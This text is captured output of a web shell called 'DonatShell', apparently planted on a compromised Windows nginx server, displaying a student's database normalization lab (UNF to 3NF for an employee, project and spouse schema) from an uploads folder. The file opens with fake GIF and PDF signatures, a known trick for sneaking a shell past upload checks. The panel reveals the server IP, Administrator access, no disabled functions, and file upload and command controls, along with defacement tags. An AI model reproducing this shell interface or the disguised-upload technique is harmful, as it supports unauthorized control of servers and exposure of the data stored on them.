GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20255/CST1600/41/15670648/Lab08/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20255/CST1600/41/15670648/Lab08/DrewAnderson-Lab08.txt
UNF:
employeework (employeeId*, name, SSN, projectWork, spouseName, spouseSSN, spouseIsInsured)

1NF:
- projectWork has multiple things in one field (project code, name, date, hours), so that breaks 1NF.
- I made a new table just for the projects employees work on.

employee (employeeId*, name, SSN, spouseName, spouseSSN, spouseIsInsured)
projectwork (employeeId*, projectCode, projectName, date, hoursWorked)

- I had to split the projectWork field into projectCode, projectName, date, and hoursWorked.
- employeeId is still the main key in both.

2NF:
- The project name depends on the project code, not the full key, so that breaks 2NF.
- I made a separate table for projects.

employee (employeeId*, name, SSN, spouseName, spouseSSN, spouseIsInsured)
project (projectCode*, projectName)
projectwork (employeeId*, projectCode@, date, hoursWorked)

- Now project name is stored just once in the project table.
- I used @ to show projectCode is a foreign key in projectwork.

3NF:
- The spouse stuff depends on SSN, not employeeId, so that breaks 3NF.
- I made a new table just for spouses.

employee (employeeId*, name, SSN)
spouse (SSN*, spouseName, isInsured)
project (projectCode*, projectName)
projectwork (employeeId*, projectCode@, date, hoursWorked)

- Moved the spouse info to a new table with SSN as the key.
- Changed spouseIsInsured to isInsured to make it shorter.

All data rows:
employee
(1, Drew Anderson, 123-45-6789)
(2, Samantha Lee, 987-65-4321)

spouse
(123-45-6789, Jamie Anderson, Yes)

project
(P001, Database Upgrade)
(P002, System Maintenance)

projectwork
(1, P001, 2025-04-01, 5)
(1, P001, 2025-04-02, 4)
(1, P002, 2025-04-01, 3)
(2, P002, 2025-04-02, 8)

Anon7 - 2022
AnonSec Team